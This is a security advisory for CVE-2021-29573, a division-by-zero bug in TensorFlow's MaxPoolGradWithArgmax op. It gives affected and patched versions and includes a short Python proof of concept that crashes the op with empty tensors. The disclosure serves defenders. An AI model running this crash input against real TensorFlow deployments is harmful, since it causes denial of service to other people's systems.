All reports
Low

Division by 0 in `MaxPoolGradWithArgmax`

Affected versions

Version ranges need review.

Affected versions
>= 2.4.0, < 2.4.2
Fixed version
2.4.2
Affected versions
<2.1.4 || >=2.2.0 <2.2.3 || >=2.3.0 <2.3.3 || >=2.4.0 <2.4.2
Fixed version
2.1.4 · 2.2.3 · 2.3.3 · 2.4.2
Affected versions
< 2.1.4
Fixed version
2.1.4
Affected versions
>= 2.3.0, < 2.3.3
Fixed version
2.3.3
Affected versions
>= 2.2.0, < 2.2.3
Fixed version
2.2.3
Affected versions
< 2.1.4
Fixed version
2.1.4
Affected versions
>= 2.4.0, < 2.4.2
Fixed version
2.4.2
Affected versions
>= 2.3.0, < 2.3.3
Fixed version
2.3.3
Affected versions
>= 2.2.0, < 2.2.3
Fixed version
2.2.3
Affected versions
<2.1.4 || >=2.2.0 <2.2.3 || >=2.3.0 <2.3.3 || >=2.4.0 <2.4.2
Fixed version
2.1.4 · 2.2.3 · 2.3.3 · 2.4.2
Affected versions
>= 2.3.0, < 2.3.3
Fixed version
2.3.3
Affected versions
< 2.1.4
Fixed version
2.1.4
Affected versions
>= 2.2.0, < 2.2.3
Fixed version
2.2.3
Affected versions
<2.1.4 || >=2.2.0 <2.2.3 || >=2.3.0 <2.3.3 || >=2.4.0 <2.4.2
Fixed version
2.1.4 · 2.2.3 · 2.3.3 · 2.4.2
Affected versions
>= 2.4.0, < 2.4.2
Fixed version
2.4.2

Exploitation

CVE-2021-29573

Probability of exploitation in the next 30 days: 0.19%

FIRST EPSS · 2026-11-19

Description

Impact

The implementation of tf.raw_ops.MaxPoolGradWithArgmax is vulnerable to a division by 0:

import tensorflow as tf

input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
argmax = tf.constant([], shape=[0], dtype=tf.int64)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]

tf.raw_ops.MaxPoolGradWithArgmax(
  input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,
  padding='SAME', include_batch_in_index=False)

The implementation fails to validate that the batch dimension of the tensor is non-zero, before dividing by this quantity.

Patches

We have patched the issue in GitHub commit 376c352a37ce5a68b721406dc7e77ac4b6cf483d.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Links